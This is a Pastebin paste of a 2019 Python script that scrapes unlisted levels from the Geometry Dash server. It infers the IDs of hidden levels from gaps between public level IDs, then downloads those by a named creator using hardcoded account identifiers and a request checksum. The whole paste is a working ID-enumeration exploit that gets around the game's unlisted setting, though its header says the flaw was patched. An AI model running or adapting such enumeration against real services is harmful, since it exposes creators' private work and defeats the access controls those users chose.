Advertisement
cos8o

GD Unlisted Levels Finder

Jul 9th, 2019
770
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.69 KB | None | 0 0
  1. #cos8o
  2. #this has been patched on 9/7/19
  3. import http.client
  4.  
  5. c = http.client.HTTPConnection('www.boomlings.com:80')
  6. headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
  7. recent_packet = "gameVersion=21&binaryVersion=35&gdw=0&type=4&str=&diff=-&len=-&page=0&total=9999&uncompleted=0&onlyCompleted=0&featured=0&original=0&twoPlayer=0&coins=0&epic=0&secret=Wmfd2893gb7"
  8. recent_packet = recent_packet.encode()
  9. lid_list = []
  10.  
  11. #filter
  12. gd_username = "ViPriN"
  13.  
  14. def do_request(url, p):
  15.     global c
  16.     try:
  17.         c.request('POST', url, p, headers)
  18.         return c.getresponse().read().decode()
  19.     except (ConnectionResetError, TimeoutError, http.client.RemoteDisconnected):
  20.         print("Lost connection, reconnecting...")
  21.         c = http.client.HTTPConnection('www.boomlings.com:80')
  22.         return do_request(url, p)
  23.  
  24. def get_level(lid):
  25.     packet = "gameVersion=21&binaryVersion=35&gdw=0&type=0&str="+str(lid)+"&diff=-&len=-&page=0&total=0&uncompleted=0&onlyCompleted=0&featured=0&original=0&twoPlayer=0&coins=0&epic=0&secret=Wmfd2893gb7"
  26.     packet = packet.encode()
  27.     return do_request('/database/getGJLevels21.php', packet)
  28.  
  29. def print_level_info(lid, un = ""):
  30.     response = get_level(lid)
  31.     if response != "-1":
  32.         username = response.split("#")[1].split(":")[1]
  33.         lvlname = response.split(":")[3]
  34.         print('"', lvlname, '" by ', username, " (", str(lid), ")")
  35.         if not un:
  36.             return True
  37.         elif un and un == username:
  38.             return True
  39.         else:
  40.             return False
  41.  
  42. def download_level(lid):
  43.     packet = "gameVersion=20&binaryVersion=35&gdw=0&accountID=8060970&gjp=[OMITTED]&udid=S9888528984028321013417898099395156860&uuid=59387131&levelID="+str(lid)+"&inc=1&extras=0&secret=Wmfd2893gb7&rs=dDchSld7uM&chk=BlQLDgYFUwUFBlUAVgAFVgYAVQAEUwEDUVcDBlQFV1ULBwINBlYODQ=="
  44.     packet = packet.encode()
  45.     if print_level_info(lid, gd_username):
  46.         print("Downloading level...")
  47.         response = do_request('/database/downloadGJLevel22.php', packet)
  48.         if response != "-1":
  49.             lvlfile = open(str(lid), "w")
  50.             lvlfile.write(response)
  51.             lvlfile.close()
  52.  
  53. print("Seeking levels...")
  54.  
  55. while True:
  56.     data = do_request('/database/getGJLevels21.php', recent_packet)
  57.     if data != "-1":
  58.         data = data.split("|")
  59.         id_first = int(data[0].split(":")[1])
  60.         id_second = int(data[1].split(":")[1])
  61.         delta = id_first - id_second
  62.         if delta:
  63.             for i in range(1, delta):
  64.                 secret_id = id_second + i
  65.                 if secret_id not in lid_list:  
  66.                     download_level(secret_id)
  67.                     lid_list.append(secret_id)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement